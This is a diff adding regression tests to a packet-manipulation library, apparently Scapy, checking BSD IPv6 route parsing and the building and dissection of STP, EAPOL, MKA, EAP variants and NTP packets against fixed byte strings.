+                                       ("fe80::a00:27ff:fe04:59bf", IPV6_ADDR_LINKLOCAL, "em0")]
+    # Mocked OpenBSD parsing behavior
+    mock_openbsd = True
+    # Test the function
+    from scapy.arch.unix import read_routes6
+    routes = read_routes6()
+    for r in routes:
+        print(r)
+    assert(len(routes) == 5)
+    assert(check_mandatory_ipv6_routes(routes))
+
+test_openbsd_5_5()
+
+
+= NetBSD 7.0
+~ mock_read_routes6_bsd
+
+@mock.patch("scapy.arch.unix.NETBSD")
+@mock.patch("scapy.arch.unix.in6_getifaddr")
+@mock.patch("scapy.arch.unix.os")
+def test_netbsd_7_0(mock_os, mock_in6_getifaddr, mock_netbsd):
+    """Test read_routes6() on NetBSD 7.0"""
+    # 'netstat -rn -f inet6' output
+    netstat_output = u"""
+Routing tables
+
+Internet6:
+Destination                        Gateway                        Flags    Refs      Use    Mtu Interface
+::/104                             ::1                            UGRS        -        -      -  lo0
+::/96                              ::1                            UGRS        -        -      -  lo0
+::1                                ::1                            UH          -        -  33648  lo0
+::127.0.0.0/104                    ::1                            UGRS        -        -      -  lo0
+::224.0.0.0/100                    ::1                            UGRS        -        -      -  lo0
+::255.0.0.0/104                    ::1                            UGRS        -        -      -  lo0
+::ffff:0.0.0.0/96                  ::1                            UGRS        -        -      -  lo0
+2001:db8::/32                      ::1                            UGRS        -        -      -  lo0
+2002::/24                          ::1                            UGRS        -        -      -  lo0
+2002:7f00::/24                     ::1                            UGRS        -        -      -  lo0
+2002:e000::/20                     ::1                            UGRS        -        -      -  lo0
+2002:ff00::/24                     ::1                            UGRS        -        -      -  lo0
+fe80::/10                          ::1                            UGRS        -        -      -  lo0
+fe80::%wm0/64                      link#1                         UC          -        -      -  wm0
+fe80::acd1:3989:180e:fde0          08:00:27:a1:64:d8              UHL         -        -      -  lo0
+fe80::%lo0/64                      fe80::1                        U           -        -      -  lo0
+fe80::1                            link#2                         UHL         -        -      -  lo0
+ff01:1::/32                        link#1                         UC          -        -      -  wm0
+ff01:2::/32                        ::1                            UC          -        -      -  lo0
+ff02::%wm0/32                      link#1                         UC          -        -      -  wm0
+ff02::%lo0/32                      ::1                            UC          -        -      -  lo0
+"""
+    # Mocked file descriptor
+    strio = StringIO(netstat_output)
+    mock_os.popen = mock.MagicMock(return_value=strio)
+    # Mocked in6_getifaddr() output
+    mock_in6_getifaddr.return_value = [("::1", IPV6_ADDR_LOOPBACK, "lo0"),
+                                       ("fe80::acd1:3989:180e:fde0", IPV6_ADDR_LINKLOCAL, "wm0")]
+    # Test the function
+    from scapy.arch.unix import read_routes6
+    routes = read_routes6()
+    for r in routes:
+        print(r)
+    assert(len(routes) == 5)
+    assert(check_mandatory_ipv6_routes(routes))
+
+test_netbsd_7_0()
+
+############
+############
++ STP tests
+
+= STP - Basic Instantiation
+assert raw(STP()) == b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00\x02\x00\x0f\x00'
+
+= STP - Basic Dissection
+
+s = STP(b'\x00\x00\x00\x00\x00\x00\x00\x12\x13\x14\x15\x16\x17\x00\x00\x00\x00\x00\x00\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x01\x00\x14\x00\x05\x00\x0f\x00')
+assert s.rootmac == "12:13:14:15:16:17"
+assert s.bridgemac == "aa:aa:aa:aa:aa:aa"
+assert s.hellotime == 5
+
+############
+############
++ EAPOL class tests
+
+= EAPOL - Basic Instantiation
+raw(EAPOL()) == b'\x01\x00\x00\x00'
+
+= EAPOL - Instantiation with specific values
+raw(EAPOL(version = 3, type = 5)) == b'\x03\x05\x00\x00'
+
+= EAPOL - Dissection (1)
+s = b'\x03\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+eapol = EAPOL(s)
+assert(eapol.version == 3)
+assert(eapol.type == 1)
+assert(eapol.len == 0)
+
+= EAPOL - Dissection (2)
+s = b'\x03\x00\x00\x05\x01\x01\x00\x05\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+eapol = EAPOL(s)
+assert(eapol.version == 3)
+assert(eapol.type == 0)
+assert(eapol.len == 5)
+
+= EAPOL - Dissection (3)
+s = b'\x03\x00\x00\x0e\x02\x01\x00\x0e\x01anonymous\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+eapol = EAPOL(s)
+assert(eapol.version == 3)
+assert(eapol.type == 0)
+assert(eapol.len == 14)
+
+= EAPOL - Dissection (4)
+req = EAPOL(b'\x03\x00\x00\x05\x01\x01\x00\x05\x01')
+ans = EAPOL(b'\x03\x00\x00\x0e\x02\x01\x00\x0e\x01anonymous')
+ans.answers(req)
+
+= EAPOL - Dissection (5)
+s = b'\x02\x00\x00\x06\x01\x01\x00\x06\r '
+eapol = EAPOL(s)
+assert(eapol.version == 2)
+assert(eapol.type == 0)
+assert(eapol.len == 6)
+assert(eapol.haslayer(EAP_TLS))
+
+= EAPOL - Dissection (6)
+s = b'\x03\x00\x00<\x02\x9e\x00<+\x01\x16\x03\x01\x001\x01\x00\x00-\x03\x01dr1\x93ZS\x0en\xad\x1f\xbaH\xbb\xfe6\xe6\xd0\xcb\xec\xd7\xc0\xd7\xb9\xa5\xc9\x0c\xfd\x98o\xa7T \x00\x00\x04\x004\x00\x00\x01\x00\x00\x00'
+eapol = EAPOL(s)
+assert(eapol.version == 3)
+assert(eapol.type == 0)
+assert(eapol.len == 60)
+assert(eapol.haslayer(EAP_FAST))
+
+
+############
+############
++ EAPOL-MKA class tests
+
+= EAPOL-MKA - With Basic parameter set - Dissection
+eapol = None
+s = b'\x03\x05\x00T\x01\xff\xf0<\x00Bh\xa8\x1e\x03\x00\n\xbcj\x00\x96Ywz\x82:\x90\xd9\xe7\x00\x00\x00\x01\x00\x80\xc2\x01\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xff\x00\x00\x10\xe5\xf5j\x86V\\\xb1\xcc\xa9\xb95\x04m*Cj'
+eapol = EAPOL(s)
+assert(eapol.version == 3)
+assert(eapol.type == 5)
+assert(eapol.len == 84)
+assert(eapol.haslayer(MKAPDU))
+assert(eapol[MKAPDU].basic_param_set.actor_member_id == b"\xbcj\x00\x96Ywz\x82:\x90\xd9\xe7")
+assert(eapol[MKAPDU].haslayer(MKAICVSet))
+assert(eapol[MKAPDU][MKAICVSet].icv == b"\xe5\xf5j\x86V\\\xb1\xcc\xa9\xb95\x04m*Cj")
+
+
+= EAPOL-MKA - With Potential Peer List parameter set - Dissection
+eapol = None
+s = b'\x03\x05\x00h\x01\x10\xe0<\xccN$\xc4\xf7\x7f\x00\x80q\x8b\x8a9\x86k/X\x14\xc9\xdc\xf6\x00\x00\x00}\x00\x80\xc2\x01\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x02\x00\x00\x10\xbcj\x00\x96Ywz\x82:\x90\xd9\xe7\x00\x00\x00\x01\xff\x00\x00\x105\x01\xdc)\xfd\xd1\xff\xd55\x9c_o\xc9\x9c\xca\xc0'
+eapol = EAPOL(s)
+assert(eapol.version == 3)
+assert(eapol.type == 5)
+assert(eapol.len == 104)
+assert(eapol.haslayer(MKAPDU))
+assert(eapol[MKAPDU].basic_param_set.actor_member_id == b"q\x8b\x8a9\x86k/X\x14\xc9\xdc\xf6")
+assert(eapol.haslayer(MKAPotentialPeerListParamSet))
+assert(eapol[MKAPDU][MKAPotentialPeerListParamSet].member_id_message_num[0].member_id == b"\xbcj\x00\x96Ywz\x82:\x90\xd9\xe7")
+assert(eapol[MKAPDU].haslayer(MKAICVSet))
+assert(eapol[MKAPDU][MKAICVSet].icv == b"5\x01\xdc)\xfd\xd1\xff\xd55\x9c_o\xc9\x9c\xca\xc0")
+
+= EAPOL-MKA - With Live Peer List parameter set - Dissection
+eapol = None
+s = b"\x03\x05\x00h\x01\xffp<\x00Bh\xa8\x1e\x03\x00\n\xbcj\x00\x96Ywz\x82:\x90\xd9\xe7\x00\x00\x00\x02\x00\x80\xc2\x01\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x01\x00\x00\x10q\x8b\x8a9\x86k/X\x14\xc9\xdc\xf6\x00\x00\x00\x80\xff\x00\x00\x10\xf4\xa1d\x18\tD\xa2}\x8e'\x0c/\xda,\xea\xb7"
+eapol = EAPOL(s)
+assert(eapol.version == 3)
+assert(eapol.type == 5)
+assert(eapol.len == 104)
+assert(eapol.haslayer(MKAPDU))
+assert(eapol[MKAPDU].basic_param_set.actor_member_id == b'\xbcj\x00\x96Ywz\x82:\x90\xd9\xe7')
+assert(eapol.haslayer(MKALivePeerListParamSet))
+assert(eapol[MKAPDU][MKALivePeerListParamSet].member_id_message_num[0].member_id == b"q\x8b\x8a9\x86k/X\x14\xc9\xdc\xf6")
+assert(eapol[MKAPDU].haslayer(MKAICVSet))
+assert(eapol[MKAPDU][MKAICVSet].icv == b"\xf4\xa1d\x18\tD\xa2}\x8e'\x0c/\xda,\xea\xb7")
+
+= EAPOL-MKA - With SAK Use parameter set - Dissection
+eapol = None
+s = b'\x03\x05\x00\x94\x01\xffp<\x00Bh\xa8\x1e\x03\x00\n\xbcj\x00\x96Ywz\x82:\x90\xd9\xe7\x00\x00\x00\x03\x00\x80\xc2\x01\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x03\x10\x00(q\x8b\x8a9\x86k/X\x14\xc9\xdc\xf6\x00\x00\x00\x01\x00\x00\x00\x00q\x8b\x8a9\x86k/X\x14\xc9\xdc\xf6\x00\x00\x00\x01\x00\x00\x00\x00\x01\x00\x00\x10q\x8b\x8a9\x86k/X\x14\xc9\xdc\xf6\x00\x00\x00\x83\xff\x00\x00\x10OF\x84\xf1@%\x95\xe6Fw9\x1a\xfa\x03(\xae'
+eapol = EAPOL(s)
+assert(eapol.version == 3)
+assert(eapol.type == 5)
+assert(eapol.len == 148)
+assert(eapol.haslayer(MKAPDU))
+assert(eapol[MKAPDU].basic_param_set.actor_member_id == b'\xbcj\x00\x96Ywz\x82:\x90\xd9\xe7')
+assert(eapol.haslayer(MKASAKUseParamSet))
+assert(eapol[MKAPDU][MKASAKUseParamSet].latest_key_key_server_member_id == b"q\x8b\x8a9\x86k/X\x14\xc9\xdc\xf6")
+assert(eapol.haslayer(MKALivePeerListParamSet))
+assert(eapol[MKAPDU][MKALivePeerListParamSet].member_id_message_num[0].member_id == b"q\x8b\x8a9\x86k/X\x14\xc9\xdc\xf6")
+assert(eapol[MKAPDU].haslayer(MKAICVSet))
+assert(eapol[MKAPDU][MKAICVSet].icv == b"OF\x84\xf1@%\x95\xe6Fw9\x1a\xfa\x03(\xae")
+
+= EAPOL-MKA - With Distributed SAK parameter set - Dissection
+eapol = None
+s = b"\x03\x05\x00\xb4\x01\x10\xe0<\xccN$\xc4\xf7\x7f\x00\x80q\x8b\x8a9\x86k/X\x14\xc9\xdc\xf6\x00\x00\x00\x81\x00\x80\xc2\x01\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x01\x00\x00\x10\xbcj\x00\x96Ywz\x82:\x90\xd9\xe7\x00\x00\x00\x02\x03\x10\x00(q\x8b\x8a9\x86k/X\x14\xc9\xdc\xf6\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x10\x00\x1c\x00\x00\x00\x01Cz\x05\x88\x9f\xe8-\x94W+?\x13~\xfb\x016yVB?\xbd\xa1\x9fu\xff\x00\x00\x10\xb0H\xcf\xe0:\xa1\x94RD'\x03\xe67\xe1Ur"
+eapol = EAPOL(s)
+assert(eapol.version == 3)
+assert(eapol.type == 5)
+assert(eapol.len == 180)
+assert(eapol.haslayer(MKAPDU))
+assert(eapol[MKAPDU].basic_param_set.actor_member_id == b"q\x8b\x8a9\x86k/X\x14\xc9\xdc\xf6")
+assert(eapol.haslayer(MKASAKUseParamSet))
+assert(eapol[MKAPDU][MKASAKUseParamSet].latest_key_key_server_member_id == b"q\x8b\x8a9\x86k/X\x14\xc9\xdc\xf6")
+assert(eapol.haslayer(MKALivePeerListParamSet))
+assert(eapol[MKAPDU][MKALivePeerListParamSet].member_id_message_num[0].member_id == b"\xbcj\x00\x96Ywz\x82:\x90\xd9\xe7")
+assert(eapol.haslayer(MKADistributedSAKParamSet))
+assert(eapol[MKADistributedSAKParamSet].sak_aes_key_wrap == b"Cz\x05\x88\x9f\xe8-\x94W+?\x13~\xfb\x016yVB?\xbd\xa1\x9fu")
+assert(eapol[MKAPDU].haslayer(MKAICVSet))
+assert(eapol[MKAPDU][MKAICVSet].icv == b"\xb0H\xcf\xe0:\xa1\x94RD'\x03\xe67\xe1Ur")
+
+
+############
+############
+############
++ EAP class tests
+
+= EAP - Basic Instantiation
+raw(EAP()) == b'\x04\x00\x00\x04'
+
+= EAP - Instantiation with specific values
+raw(EAP(code = 1, id = 1, len = 5, type = 1)) == b'\x01\x01\x00\x05\x01'
+
+= EAP - Dissection (1)
+s = b'\x01\x01\x00\x05\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+eap = EAP(s)
+assert(eap.code == 1)
+assert(eap.id == 1)
+assert(eap.len == 5)
+assert(hasattr(eap, "type"))
+assert(eap.type == 1)
+
+= EAP - Dissection (2)
+s = b'\x02\x01\x00\x0e\x01anonymous\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+eap = EAP(s)
+assert(eap.code == 2)
+assert(eap.id == 1)
+assert(eap.len == 14)
+assert(eap.type == 1)
+assert(hasattr(eap, 'identity'))
+assert(eap.identity == b'anonymous')
+
+= EAP - Dissection (3)
+s = b'\x01\x01\x00\x06\r '
+eap = EAP(s)
+assert(eap.code == 1)
+assert(eap.id == 1)
+assert(eap.len == 6)
+assert(eap.type == 13)
+assert(eap.haslayer(EAP_TLS))
+assert(eap[EAP_TLS].L == 0)
+assert(eap[EAP_TLS].M == 0)
+assert(eap[EAP_TLS].S == 1)
+
+= EAP - Dissection (4)
+s = b'\x02\x01\x00\xd1\r\x00\x16\x03\x01\x00\xc6\x01\x00\x00\xc2\x03\x01UK\x02\xdf\x1e\xde5\xab\xfa[\x15\xef\xbe\xa2\xe4`\xc6g\xb9\xa8\xaa%vAs\xb2\x1cXt\x1c0\xb7\x00\x00P\xc0\x14\xc0\n\x009\x008\x00\x88\x00\x87\xc0\x0f\xc0\x05\x005\x00\x84\xc0\x12\xc0\x08\x00\x16\x00\x13\xc0\r\xc0\x03\x00\n\xc0\x13\xc0\t\x003\x002\x00\x9a\x00\x99\x00E\x00D\xc0\x0e\xc0\x04\x00/\x00\x96\x00A\xc0\x11\xc0\x07\xc0\x0c\xc0\x02\x00\x05\x00\x04\x00\x15\x00\x12\x00\t\x00\xff\x01\x00\x00I\x00\x0b\x00\x04\x03\x00\x01\x02\x00\n\x004\x002\x00\x0e\x00\r\x00\x19\x00\x0b\x00\x0c\x00\x18\x00\t\x00\n\x00\x16\x00\x17\x00\x08\x00\x06\x00\x07\x00\x14\x00\x15\x00\x04\x00\x05\x00\x12\x00\x13\x00\x01\x00\x02\x00\x03\x00\x0f\x00\x10\x00\x11\x00#\x00\x00\x00\x0f\x00\x01\x01'
+eap = EAP(s)
+assert(eap.code == 2)
+assert(eap.id == 1)
+assert(eap.len == 209)
+assert(eap.type == 13)
+assert(eap.haslayer(EAP_TLS))
+assert(eap[EAP_TLS].L == 0)
+assert(eap[EAP_TLS].M == 0)
+assert(eap[EAP_TLS].S == 0)
+
+= EAP - Dissection (5)
+s = b'\x02\x9e\x00<+\x01\x16\x03\x01\x001\x01\x00\x00-\x03\x01dr1\x93ZS\x0en\xad\x1f\xbaH\xbb\xfe6\xe6\xd0\xcb\xec\xd7\xc0\xd7\xb9\xa5\xc9\x0c\xfd\x98o\xa7T \x00\x00\x04\x004\x00\x00\x01\x00\x00\x00'
+eap = EAP(s)
+assert(eap.code == 2)
+assert(eap.id == 158)
+assert(eap.len == 60)
+assert(eap.type == 43)
+assert(eap.haslayer(EAP_FAST))
+assert(eap[EAP_FAST].L == 0)
+assert(eap[EAP_FAST].M == 0)
+assert(eap[EAP_FAST].S == 0)
+assert(eap[EAP_FAST].version == 1)
+
+= EAP - Dissection (6)
+s = b'\x02\x9f\x01L+\x01\x16\x03\x01\x01\x06\x10\x00\x01\x02\x01\x00Y\xc9\x8a\tcw\t\xdcbU\xfd\x035\xcd\x1a\t\x10f&[(9\xf6\x88W`\xc6\x0f\xb3\x84\x15\x19\xf5\tk\xbd\x8fp&0\xb0\xa4B\x85\x0c<:s\xf2zT\xc3\xbd\x8a\xe4D{m\xe7\x97\xfe>\xda\x14\xb8T1{\xd7H\x9c\xa6\xcb\xe3,u\xdf\xe0\x82\xe5R\x1e<\xe5\x03}\xeb\x98\xe2\xf7\x8d3\xc6\x83\xac"\x8f\xd7\x12\xe5{:"\x84A\xd9\x14\xc2cZF\xd4\t\xab\xdar\xc7\xe0\x0e\x00o\xce\x05g\xdc?\xcc\xf7\xe83\x83E\xb3>\xe8<3-QB\xfd$C/\x1be\xcf\x03\xd6Q4\xbe\\h\xba)<\x99N\x89\xd9\xb1\xfa!\xd7a\xef\xa3\xd3o\xed8Uz\xb5k\xb0`\xfeC\xbc\xb3aS,d\xe6\xdc\x13\xa4A\x1e\x9b\r{\xd6s \xd0cQ\x95y\xc8\x1d\xc3\xd9\x87\xf2=\x81\x96q~\x99E\xc3\x97\xa8px\xe2\xc7\x92\xeb\xff/v\x84\x1e\xfb\x00\x95#\xba\xfb\xd88h\x90K\xa7\xbd9d\xb4\xf2\xf2\x14\x02vtW\xaa\xadY\x14\x03\x01\x00\x01\x01\x16\x03\x01\x000\x97\xc5l\xd6\xef\xffcM\x81\x90Q\x96\xf6\xfeX1\xf7\xfc\x84\xc6\xa0\xf6Z\xcd\xb6\xe1\xd4\xdb\x88\xf9t%Q!\xe7,~#2G-\xdf\x83\xbf\x86Q\xa2$'
+eap = EAP(s)
+assert(eap.code == 2)
+assert(eap.id == 159)
+assert(eap.len == 332)
+assert(eap.type == 43)
+assert(eap.haslayer(EAP_FAST))
+assert(eap[EAP_FAST].L == 0)
+assert(eap[EAP_FAST].M == 0)
+assert(eap[EAP_FAST].S == 0)
+assert(eap[EAP_FAST].version == 1)
+
+= EAP - Dissection (7)
+s = b'\x02\xf1\x00\x06\x03+'
+eap = EAP(s)
+assert(eap.code == 2)
+assert(eap.id == 241)
+assert(eap.len == 6)
+assert(eap.type == 3)
+assert(hasattr(eap, 'desired_auth_type'))
+assert(eap.desired_auth_type == 43)
+
+= EAP - Dissection (8)
+s = b"\x02\x03\x01\x15\x15\x00\x16\x03\x01\x01\n\x01\x00\x01\x06\x03\x03\xd5\xd9\xd5rT\x9e\xb8\xbe,>\xcf!\xcf\xc7\x02\x8c\xb1\x1e^F\xf7\xc84\x8c\x01t4\x91[\x02\xc8/\x00\x00\x8c\xc00\xc0,\xc0(\xc0$\xc0\x14\xc0\n\x00\xa5\x00\xa3\x00\xa1\x00\x9f\x00k\x00j\x00i\x00h\x009\x008\x007\x006\x00\x88\x00\x87\x00\x86\x00\x85\xc02\xc0.\xc0*\xc0&\xc0\x0f\xc0\x05\x00\x9d\x00=\x005\x00\x84\xc0/\xc0+\xc0'\xc0#\xc0\x13\xc0\t\x00\xa4\x00\xa2\x00\xa0\x00\x9e\x00g\x00@\x00?\x00>\x003\x002\x001\x000\x00\x9a\x00\x99\x00\x98\x00\x97\x00E\x00D\x00C\x00B\xc01\xc0-\xc0)\xc0%\xc0\x0e\xc0\x04\x00\x9c\x00<\x00/\x00\x96\x00A\x00\xff\x01\x00\x00Q\x00\x0b\x00\x04\x03\x00\x01\x02\x00\n\x00\x1c\x00\x1a\x00\x17\x00\x19\x00\x1c\x00\x1b\x00\x18\x00\x1a\x00\x16\x00\x0e\x00\r\x00\x0b\x00\x0c\x00\t\x00\n\x00\r\x00 \x00\x1e\x06\x01\x06\x02\x06\x03\x05\x01\x05\x02\x05\x03\x04\x01\x04\x02\x04\x03\x03\x01\x03\x02\x03\x03\x02\x01\x02\x02\x02\x03\x00\x0f\x00\x01\x01"
+eap = EAP(s)
+assert(eap.code == 2)
+assert(eap.id == 3)
+assert(eap.len == 277)
+assert(eap.type == 21)
+assert(eap.haslayer(EAP_TTLS))
+assert(eap[EAP_TTLS].L == 0)
+assert(eap[EAP_TTLS].M == 0)
+assert(eap[EAP_TTLS].S == 0)
+assert(eap[EAP_TTLS].version == 0)
+
+= EAP - EAP_TLS - Basic Instantiation
+raw(EAP_TLS()) == b'\x01\x00\x00\x06\r\x00'
+
+= EAP - EAP_FAST - Basic Instantiation
+raw(EAP_FAST()) == b'\x01\x00\x00\x06+\x00'
+
+= EAP - EAP_TTLS - Basic Instantiation
+raw(EAP_TTLS()) == b'\x01\x00\x00\x06\x15\x00'
+
+= EAP - EAP_MD5 - Basic Instantiation
+raw(EAP_MD5()) == b'\x01\x00\x00\x06\x04\x00'
+
+= EAP - EAP_MD5 - Request - Dissection (8)
+s = b'\x01\x02\x00\x16\x04\x10\x86\xf9\x89\x94\x81\x01\xb3 nHh\x1b\x8d\xe7^\xdb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+eap = EAP(s)
+assert(eap.code == 1)
+assert(eap.id == 2)
+assert(eap.len == 22)
+assert(eap.type == 4)
+assert(eap.haslayer(EAP_MD5))
+assert(eap[EAP_MD5].value_size == 16)
+assert(eap[EAP_MD5].value == b'\x86\xf9\x89\x94\x81\x01\xb3 nHh\x1b\x8d\xe7^\xdb')
+assert(eap[EAP_MD5].optional_name == b'')
+
+= EAP - EAP_MD5 - Response - Dissection (9)
+s = b'\x02\x02\x00\x16\x04\x10\xfd\x1e\xffe\xf5\x80y\xa8\xe3\xc8\xf1\xbd\xc2\x85\xae\xcf\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+eap = EAP(s)
+assert(eap.code == 2)
+assert(eap.id == 2)
+assert(eap.len == 22)
+assert(eap.type == 4)
+assert(eap.haslayer(EAP_MD5))
+assert(eap[EAP_MD5].value_size == 16)
+assert(eap[EAP_MD5].value == b'\xfd\x1e\xffe\xf5\x80y\xa8\xe3\xc8\xf1\xbd\xc2\x85\xae\xcf')
+assert(eap[EAP_MD5].optional_name == b'')
+
+= EAP - LEAP - Basic Instantiation
+raw(LEAP()) == b'\x01\x00\x00\x08\x11\x01\x00\x00'
+
+= EAP - LEAP - Request - Dissection (10)
+s = b'\x01D\x00\x1c\x11\x01\x00\x088\xb6\xd7\xa1E<!\x15supplicant-1'
+eap = LEAP(s)
+assert(eap.code == 1)
+assert(eap.id == 68)
+assert(eap.len == 28)
+assert(eap.type == 17)
+assert(eap.haslayer(LEAP))
+assert(eap[LEAP].version == 1)
+assert(eap[LEAP].count == 8)
+assert(eap[LEAP].challenge_response == b'8\xb6\xd7\xa1E<!\x15')
+assert(eap[LEAP].username == b"supplicant-1")
+
+= EAP - LEAP - Response - Dissection (11)
+s = b'\x02D\x00,\x11\x01\x00\x18\xb3\x82[\x82\x8a\xc8M*\xf3\xe7\xb3\xad,7\x8b\xbfG\x81\xda\xbf\xe6\xc1\x9b\x95supplicant-1'
+eap = LEAP(s)
+assert(eap.code == 2)
+assert(eap.id == 68)
+assert(eap.len == 44)
+assert(eap.type == 17)
+assert(eap.haslayer(LEAP))
+assert(eap[LEAP].version == 1)
+assert(eap[LEAP].count == 24)
+assert(eap[LEAP].challenge_response == b'\xb3\x82[\x82\x8a\xc8M*\xf3\xe7\xb3\xad,7\x8b\xbfG\x81\xda\xbf\xe6\xc1\x9b\x95')
+assert(eap[LEAP].username == b"supplicant-1")
+
+= EAP - Layers (1)
+eap = EAP_MD5()
+assert(EAP_MD5 in eap)
+assert(not EAP_TLS in eap)
+assert(not EAP_FAST in eap)
+assert(not LEAP in eap)
+assert(EAP in eap)
+eap = EAP_TLS()
+assert(EAP_TLS in eap)
+assert(not EAP_MD5 in eap)
+assert(not EAP_FAST in eap)
+assert(not LEAP in eap)
+assert(EAP in eap)
+eap = EAP_FAST()
+assert(EAP_FAST in eap)
+assert(not EAP_MD5 in eap)
+assert(not EAP_TLS in eap)
+assert(not LEAP in eap)
+assert(EAP in eap)
+eap = EAP_TTLS()
+assert(EAP_TTLS in eap)
+assert(not EAP_MD5 in eap)
+assert(not EAP_TLS in eap)
+assert(not EAP_FAST in eap)
+assert(not LEAP in eap)
+assert(EAP in eap)
+eap = LEAP()
+assert(not EAP_MD5 in eap)
+assert(not EAP_TLS in eap)
+assert(not EAP_FAST in eap)
+assert(LEAP in eap)
+assert(EAP in eap)
+
+= EAP - Layers (2)
+eap = EAP_MD5()
+assert(type(eap[EAP]) == EAP_MD5)
+eap = EAP_TLS()
+assert(type(eap[EAP]) == EAP_TLS)
+eap = EAP_FAST()
+assert(type(eap[EAP]) == EAP_FAST)
+eap = EAP_TTLS()
+assert(type(eap[EAP]) == EAP_TTLS)
+eap = LEAP()
+assert(type(eap[EAP]) == LEAP)
+
+
+
+############
+############
++ NTP module tests
+
+= NTP - Layers (1)
+p = NTPHeader()
+assert(NTPHeader in p)
+assert(not NTPControl in p)
+assert(not NTPPrivate in p)
+assert(NTP in p)
+p = NTPControl()
+assert(not NTPHeader in p)
+assert(NTPControl in p)
+assert(not NTPPrivate in p)
+assert(NTP in p)
+p = NTPPrivate()
+assert(not NTPHeader in p)
+assert(not NTPControl in p)
+assert(NTPPrivate in p)
+assert(NTP in p)
+
+
+= NTP - Layers (2)
+p = NTPHeader()
+assert(type(p[NTP]) == NTPHeader)
+p = NTPControl()
+assert(type(p[NTP]) == NTPControl)
+p = NTPPrivate()
+assert(type(p[NTP]) == NTPPrivate)
+
+
+############
+############
++ NTPHeader tests
+
+= NTPHeader - Basic checks
+len(raw(NTP())) == 48
+
+
+= NTPHeader - Dissection
+s = b"!\x0b\x06\xea\x00\x00\x00\x00\x00\x00\xf2\xc1\x7f\x7f\x01\x00\xdb9\xe8\xa21\x02\xe6\xbc\xdb9\xe8\x81\x02U8\xef\xdb9\xe8\x80\xdcl+\x06\xdb9\xe8\xa91\xcbI\xbf\x00\x00\x00\x01\xady\xf3\xa1\xe5\xfc\xd02\xd2j\x1e'\xc3\xc1\xb6\x0e"
+p = NTP(s)
+assert(isinstance(p, NTPHeader))
+assert(p[NTPAuthenticator].key_id == 1)
+assert(bytes_hex(p[NTPAuthenticator].dgst) == b'ad79f3a1e5fcd032d26a1e27c3c1b60e')
+
+
+= NTPHeader - KoD
+s = b'\xe4\x00\x06\xe8\x00\x00\x00\x00\x00\x00\x02\xcaINIT\x00\x00\x00\x00\x00\x00\x00\x00\xdb@\xe3\x9eH\xa3pj\xdb@\xe3\x9eH\xf0\xc3\\\xdb@\xe3\x9eH\xfaL\xac\x00\x00\x00\x01B\x86)\xc1Q4\x8bW8\xe7Q\xda\xd0Z\xbc\xb8'
+p = NTP(s)
+assert(isinstance(p, NTPHeader))
+assert(p.leap == 3)
+assert(p.version == 4)
+assert(p.mode == 4)
+assert(p.stratum == 0)
+assert(p.ref_id == b'INIT')
+
+
+= NTPHeader - Extension dissection test
+s = b'#\x02\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\xdbM\xdf\x19e\x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdbM\xdf\x19e\x89\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+p = NTP(s)
+assert(isinstance(p, NTPHeader))
+assert(p.leap == 0)
+assert(p.version == 4)
+assert(p.mode == 3)
+assert(p.stratum == 2)
+
+
+############
+############
++ NTP Control (mode 6) tests
+
+= NTP Control (mode 6) - CTL_OP_READSTAT (1) - request
+s = b'\x16\x01\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00'
+p = NTP(s)
+assert(isinstance(p, NTPControl))
+assert(p.version == 2)
+assert(p.mode == 6)
+assert(p.response == 0)
+assert(p.err == 0)
+assert(p.more == 0)
+assert(p.op_code == 1)
+assert(p.sequence == 12)
+assert(p.status == 0)
